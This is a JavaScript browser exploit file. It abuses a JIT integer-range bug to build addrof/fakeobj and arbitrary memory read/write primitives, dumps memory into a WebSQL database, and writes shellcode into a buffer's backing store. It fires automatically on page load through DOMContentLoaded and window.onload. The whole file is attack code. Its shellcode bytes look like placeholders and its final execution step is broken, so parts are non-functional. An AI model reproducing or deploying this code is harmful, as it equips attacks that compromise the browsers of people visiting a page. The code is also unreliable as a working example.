document.addEventListener('DOMContentLoaded', function() {
    executeCustomExploit().catch(error => {
        console.log("[!] Exploit failed:", error);
    });
});

(function() {
    var executableBuffer = new ArrayBuffer(0x1000);
    var dataView = new DataView(executableBuffer);

    var buf = new ArrayBuffer(8);
    var f64_buf = new Float64Array(buf);
    var u64_buf = new Uint32Array(buf);
    let buf2 = new ArrayBuffer(0x150);

    function initSQLDatabase() {
        let db = openDatabase('iu14D2N_SQL', '1.0', 'Memory Database', 2 * 1024 * 1024);

        db.transaction(function (tx) {
            tx.executeSql('CREATE TABLE IF NOT EXISTS memory_dumps (addr TEXT, data TEXT)');
            tx.executeSql('CREATE TABLE IF NOT EXISTS shellcode (id TEXT, payload BLOB)');
        });
        return db;
    }

    function ftoi(val) {
        f64_buf[0] = val;
        return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
    }

    function itof(val) {
        u64_buf[0] = Number(val & 0xffffffffn);
        u64_buf[1] = Number(val >> 32n);
        return f64_buf[0];
    }

    const _arr = new Uint32Array([2**31]);

    function foo(a) {
        var x = 1;
        x = (_arr[0] ^ 0) + 1;
        x = Math.abs(x);
        x -= 2147483647;
        x = Math.max(x, 0);
        x -= 1;
        if(x==-1) x = 0;
        var arr = new Array(x);
        arr.shift();
        var cor = [1.1, 1.2, 1.3];
        return [arr, cor];
    }

    function readMemoryRegion(startAddr, length) {
        let result = [];
        for(let i = 0n; i < BigInt(length); i++) {
            result.push(Number(arbread(startAddr + i)));
        }
        console.log("[+] Memory region read from", startAddr.toString(16));
        return result;
    }

    function dumpMemoryRegion(addr, size) {
        let memData = [];
        for(let i = 0n; i < BigInt(size); i += 8n) {
            let value = arbread(addr + i);
            memData.push(value);
        }
        console.log("[+] Memory dump at", addr.toString(16), ":", memData);
        return memData;
    }

    function dumpMemoryRegionToSQL(addr, size, db) {
        let memData = dumpMemoryRegion(addr, size);
        db.transaction(function (tx) {
            tx.executeSql('INSERT INTO memory_dumps (addr, data) VALUES (?, ?)',
                [addr.toString(16), JSON.stringify(memData)]);
        });
        return memData;
    }

    function storeShellcode(db, shellcode) {
        db.transaction(function (tx) {
            tx.executeSql('INSERT INTO shellcode (id, payload) VALUES (?, ?)',
                ['iu14D2N_shellcode', shellcode]);
        });
    }

    for(var i=0;i<0x3000;++i)
        foo(true);

    var x = foo(false);
    var arr = x[0];
    var cor = x[1];

    const idx = 6;
    arr[idx+10] = 0x4242;

    function addrof(k) {
        arr[idx+1] = k;
        return ftoi(cor[0]) & 0xffffffffn;
    }

    function fakeobj(k) {
        cor[0] = itof(k);
        return arr[idx+1];
    }

    var float_array_map = ftoi(cor[3]);

    var arr2 = [itof(float_array_map), 1.2, 2.3, 3.4];
    var fake = fakeobj(addrof(arr2) + 0x20n);

    function arbread(addr) {
        if (addr % 2n == 0) {
            addr += 1n;
        }
        arr2[1] = itof((2n << 32n) + addr - 8n);
        return (fake[0]);
    }

    function arbwrite(addr, val) {
        if (addr % 2n == 0) {
            addr += 1n;
        }
        arr2[1] = itof((2n << 32n) + addr - 8n);
        fake[0] = itof(BigInt(val));
    }

    function copy_shellcode(addr, shellcode) {
        let dataview = new DataView(buf2);
        let buf_addr = addrof(buf2);
        let backing_store_addr = buf_addr + 0x14n;
        arbwrite(backing_store_addr, addr);

        for (let i = 0; i < shellcode.length; i++) {
            dataview.setUint32(4*i, shellcode[i], true);
        }
    }

    async function executeExploit() {
        let db = initSQLDatabase();
        var exec_addr = addrof(executableBuffer) + 0x20n;
        console.log("[+] Address of executable region: " + exec_addr.toString(16));

        dumpMemoryRegionToSQL(exec_addr, 0x100, db);

        let shellcode = [
            0x90909090,
            0x68434241,
            0x6A00,
            0xB8,
            0x89E5,
            0x31C0,
            0x50,
            0x89E2,
            0x31C9,
            0xB0FF,
            0xC3
        ];

        storeShellcode(db, shellcode);
        copy_shellcode(exec_addr, shellcode);

        let execFunc = new Function('return ' + exec_addr)();
        execFunc();
    }

    window.executeCustomExploit = async function() {
        console.log("[+] Auto-executing iu14D2N exploit...");
        await executeExploit();
        console.log("[+] Auto-execution completed");
    }
})();

window.onload = function() {
    console.log("[+] Secondary trigger point activated");
    executeCustomExploit();
};